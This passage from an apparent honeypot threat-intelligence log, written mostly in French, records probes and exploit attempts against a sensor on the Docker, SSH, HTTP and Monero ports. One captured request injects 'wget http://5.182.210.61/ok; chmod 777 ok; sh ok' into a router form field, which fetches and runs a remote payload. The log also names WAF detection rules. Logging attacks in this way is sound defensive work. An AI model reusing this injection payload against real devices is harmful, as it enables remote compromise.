"org": "Vpsvault.host Ltd",
"service": "docker",
"app_proto": "docker",
"asn": 215925,
"country": "US",
"dst_port": 2375,
"risk_waf": 8,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 40,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4.8,
"risk_breakdown": {
"waf": 8,
"classification": 60,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25
},
"risk_score": 23,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "8c1839cdbd9fa9388eb8b04668a8b57ccf5e28c3",
"event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e",
"classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%",
"confidence": 0,
"classification_confidence": 0,
"precision_score": 0,
"precision_signals": [],
"kb_rule_ids": [],
"confidence_breakdown": {
"waf": 8,
"classification": 60,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 23
},
"named_classification_skipped": false,
"service_name": "docker",
"risk_confidence_factor": 0,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "79eb5174abbe8530894d19001a604c1b",
"path_pattern_hash": "f1831d9f4a5a77b3112c071eb8abe3e6"
},
"target_context": {
"dst_port": 2375,
"service": "docker",
"service_name": "docker",
"risk_score": 23
},
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"evidence": {
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"cloud_infra_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "f90e64b52d422d1b9c960e6af86ba8fc92266947",
"protocol_details": {
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"port": 2375,
"service": "docker",
"service_label_fr": "DOCKER"
},
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)",
"target_port_label": "2375 \u00b7 DOCKER",
"emulator_service": "docker",
"confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%",
"classification_reason_label_fr": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%",
"executive_one_liner_fr": "Activit\u00e9 suspecte",
"confidence_pct": 0,
"confidence_breakdown": {
"waf": 8,
"classification": 60,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 23
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 23,
"risk_label": "Faible",
"service_name": "docker",
"service_label_fr": "DOCKER",
"dst_port": 2375,
"protocol_emulated": true,
"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "Docker 24.0.5",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"port": 2375,
"service": "docker",
"service_label_fr": "DOCKER"
},
"attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"target_port_label": "2375 \u00b7 DOCKER",
"emulator_service": "docker",
"confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur",
"confidence_factors_fr": null,
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "docker",
"service_banner": "Docker 24.0.5",
"service_os": "linux",
"dst_port": "2375"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"docker_api_probe",
"docker_emulated",
"docker_payload",
"http_get_probe",
"net_docker_api_probe"
],
"behavior_alert_count": 2,
"behavior_priority": 84
}
|
|
|
TCP |
22 · SSH
|
ssh
|
Sonde port 22/TCP
port 22 tcp · via SSH:22 · (sonde / probe)
|
Élevée
|
Moyen · 42
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
SSH
WAF
—
Recommandation
Surveiller
Tags
net_ssh_probe
ssh_banner_grab
ssh_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
22
Chemin / cible
—
Preuve honeypot — Sonde port 22/TCP
Connexion détectée sur le port 22 (TCP) du capteur simulé.
Pourquoi cette classification : Bannière client SSH reçue · confiance 55%
Confiance classification
55%
Risque capteur
Moyen
· 42
Confiance : Confiance 55 % — Classification nommée non retenue — preuves insuffisantes
Protocole émulé
1
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "5353482d322e302d4f70656e5353485f382e3470312044656269616e2d352b646562313175330d0a",
"emulator_response_len": 40,
"port_inferred_service": true,
"bytes_in": 0,
"payload_entropy": 0,
"port_category": "well_known",
"org": "Vpsvault.host Ltd",
"service": "ssh",
"app_proto": "ssh",
"asn": 215925,
"country": "US",
"dst_port": 22,
"risk_waf": 8,
"risk_classification": 38,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 36,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0
},
"risk_score": 42,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "2fd70191c11cf3311d4327222cbdc90f08e4fc6b",
"event_fingerprint": "bc4e3fa786c83e0db7c1c892cb0c288f6b14388f",
"classification_reason": "Banni\u00e8re client SSH re\u00e7ue \u00b7 confiance 55%",
"confidence": 0.55,
"classification_confidence": 0.55,
"precision_score": 0,
"precision_signals": [],
"kb_rule_ids": [],
"confidence_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42
},
"named_classification_skipped": true,
"named_candidate": "ssh_probe",
"service_name": "ssh",
"risk_confidence_factor": 55,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"path_pattern_hash": "4d94c79baddfcb6b1b3c2c5fdc6c79e1"
},
"target_context": {
"dst_port": 22,
"service": "ssh",
"service_name": "ssh",
"risk_score": 42
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "253e0824820a41dd714cfbe0c15753d50a2181da",
"protocol_details": {
"port": 22,
"service": "ssh",
"service_label_fr": "SSH"
},
"attack_vector": "port 22 tcp \u00b7 via SSH:22 \u00b7 (sonde \/ probe)",
"target_port_label": "22 \u00b7 SSH",
"emulator_service": "ssh",
"confidence_reason": "Confiance 55 % \u2014 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes",
"site_display": {
"classification": null,
"classification_reason": "Banni\u00e8re client SSH re\u00e7ue \u00b7 confiance 55%",
"classification_reason_label_fr": "Banni\u00e8re client SSH re\u00e7ue \u00b7 confiance 55%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 42\/100",
"confidence_pct": 55,
"confidence_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": "ssh",
"service_label_fr": "SSH",
"dst_port": 22,
"protocol_emulated": true,
"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "OpenSSH_8.9p1 Ubuntu",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"port": 22,
"service": "ssh",
"service_label_fr": "SSH"
},
"attack_vector": "port 22 tcp \u00b7 via SSH:22 \u00b7 (sonde \/ probe)",
"evidence_snippet": null,
"target_port_label": "22 \u00b7 SSH",
"emulator_service": "ssh",
"confidence_reason": "Confiance 55 % \u2014 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes",
"confidence_factors_fr": "Confiance 55 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "ssh",
"service_banner": "OpenSSH_8.9p1 Ubuntu",
"service_os": "linux",
"dst_port": "22"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"net_ssh_probe",
"ssh_banner_grab",
"ssh_emulated"
]
}
|
|
|
TCP |
8080 · HTTP
|
http
|
Injection de commande
cmd injection · via HTTP:8080 · (tentative d'exploit) · → /goform/set_LimitClient_cfg
|
Élevée
|
Élevé · 81
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /goform/set_LimitClient_cfg UA Go-http-client/1.1
Émulateur
HTTP
WAF
33
Recommandation
Investiguer
Tags
950319:lfi-14
950327:rce-0
950407:ssrf-3
950468:nosqli-3
Cible HTTP
POST
/goform/set_LimitClient_cfg
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8080
Chemin / cible
/goform/set_LimitClient_cfg
Pourquoi cette classification : Injection de commande (tag lfi-14) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 81
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1
Signaux
MITRE-T1059
Http Cmdi
pat-0773
pat-0146
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932100 cmd exec
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /goform/set_LimitClient_cfg HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
lfi-14
rce-0
ssrf-3
nosqli-3
Payload (extrait)
POST /goform/set_LimitClient_cfg HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Go-http-client/1.1
Content-Length: 100
Cookie: u
Requête brute (extrait)
POST /goform/set_LimitClient_cfg HTTP/1.1 Host: 62.3.50.33:8080 User-Agent: Go-http-client/1.1 Content-Length: 100 Cookie: user=admin Accept-Encoding: gzip time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://5.182.210.61/ok; chmod 777 ok; sh ok; r
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "11e5f78f4036aff2c472248972fe32123c6ace43",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 264,
"payload_entropy": 5.172736270692932,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 81,
"tag_count": 12,
"anomaly_count": 0,
"campaign_key": "bfd95dd1664d7964b6f51fe2c5f2170cdb8bc751",
"event_fingerprint": "f90f35827364d62ec2c72d5e93215efbc4708ab9",
"classification_reason": "Injection de commande (tag lfi-14) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 294,
"precision_signals": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0146"
],
"kb_rule_ids": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0773",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932100 cmd exec",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0773",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 81
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "0c87f0e46e5e0a01593c46f662710da0",
"path_pattern_hash": "f2a8d0719ad1915fd61c32b0d79b0a33"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 81
},
"payload_preview": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: u",
"method": "POST",
"path": "\/goform\/set_LimitClient_cfg",
"user_agent": "Go-http-client\/1.1",
"waf_tags": [
"950319:lfi-14",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1",
"request_sample": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: user=admin\r\nAccept-Encoding: gzip\r\n\r\ntime1=00:00-00:00&time2=00:00-00:00&mac=;wget http:\/\/5.182.210.61\/ok; chmod 777 ok; sh ok; r",
"payload_snippet": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: u",
"evidence": {
"method": "POST",
"path": "\/goform\/set_LimitClient_cfg",
"user_agent": "Go-http-client\/1.1",
"waf_tags": [
"950319:lfi-14",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1",
"request_sample": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: user=admin\r\nAccept-Encoding: gzip\r\n\r\ntime1=00:00-00:00&time2=00:00-00:00&mac=;wget http:\/\/5.182.210.61\/ok; chmod 777 ok; sh ok; r",
"payload_snippet": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: u",
"classification_reason": "Injection de commande (tag lfi-14) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "88fbb60c178c1bfb340454407730cc261dbb3eb5",
"protocol_details": {
"http_method": "POST",
"http_path": "\/goform\/set_LimitClient_cfg",
"request_line": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: u",
"attack_vector": "cmd injection \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/goform\/set_LimitClient_cfg",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-14) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-14) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 81\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 81
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 81,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0146"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"Http Cmdi",
"pat-0773",
"pat-0146"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/goform\/set_LimitClient_cfg",
"request_line": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/goform\/set_LimitClient_cfg",
"evidence_snippet": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: u",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"http_cmd_injection",
"http_jwt_body",
"http_probe_goform",
"http_sensitive_path",
"http_ssrf_body",
"http_ua_suspicious",
"net_web_probe"
]
}
|
|
|
TCP |
18080 · MONERO P2P
|
monero-p2p
|
imap bruteforce
imap bruteforce · via MONERO P2P:18080 · (sonde / probe)
|
Élevée
|
Moyen · 41
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1110
TA0007
TA0001
Protocole
Émulateur
MONERO-P2P
WAF
—
Recommandation
Surveiller
Tags
http_get_probe
imap_probe
monero_p2p_emulated
monero_p2p_payload
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
18080
Chemin / cible
—
Service
MONERO P2P
Payload
GET /login HTTP/1.1 Host: 62.3.50.33:18080 User-Agent: Go-http-client/1.1 Connection: close Accept-Encoding: gzip
Pourquoi cette classification : Type « imap_bruteforce » (signaux protocolaires) · confiance 95%
Confiance classification
95%
Risque capteur
Moyen
· 41
Confiance : Confiance 95 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
Email Imap Login
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Payload (extrait)
GET /login HTTP/1.1
Host: 62.3.50.33:18080
User-Agent: Go-http-client/1.1
Connection: close
Accept-Encoding: gzip
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "01110101010101010000000000000000",
"emulator_response_len": 16,
"bytes_in": 121,
"payload_entropy": 4.881056474106557,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "monero-p2p",
"app_proto": "monero-p2p",
"asn": 215925,
"country": "US",
"dst_port": 18080,
"risk_waf": 8,
"risk_classification": 66,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 40,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 2.9,
"risk_breakdown": {
"waf": 8,
"classification": 66,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25
},
"risk_score": 41,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "e33e7bea198ba501d7b0363e06a121562f9b62d8",
"event_fingerprint": "9805bd2d8e2babb93b4750898ffa60f92edfba86",
"classification_reason": "Type \u00ab imap_bruteforce \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 76,
"precision_signals": [
"INT-EMAIL-imap-login"
],
"kb_rule_ids": [
"INT-EMAIL-imap-login"
],
"confidence_breakdown": {
"waf": 8,
"classification": 66,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 41
},
"named_classification_skipped": false,
"service_name": "monero-p2p",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "7f5ae21646f65d736d23178a9d7a6b9a",
"path_pattern_hash": "d01bbf3f52d5029936b2dffb0f5e856f"
},
"target_context": {
"dst_port": 18080,
"service": "monero-p2p",
"service_name": "monero-p2p",
"risk_score": 41
},
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"evidence": {
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"classification_reason": "Type \u00ab imap_bruteforce \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre_techniques": [
"T1110"
],
"mitre": "T1110",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "2a5f0ade23d59de46b82f1e313b25205af9fcc71",
"protocol_details": {
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"port": 18080,
"service": "monero-p2p",
"service_label_fr": "MONERO P2P"
},
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
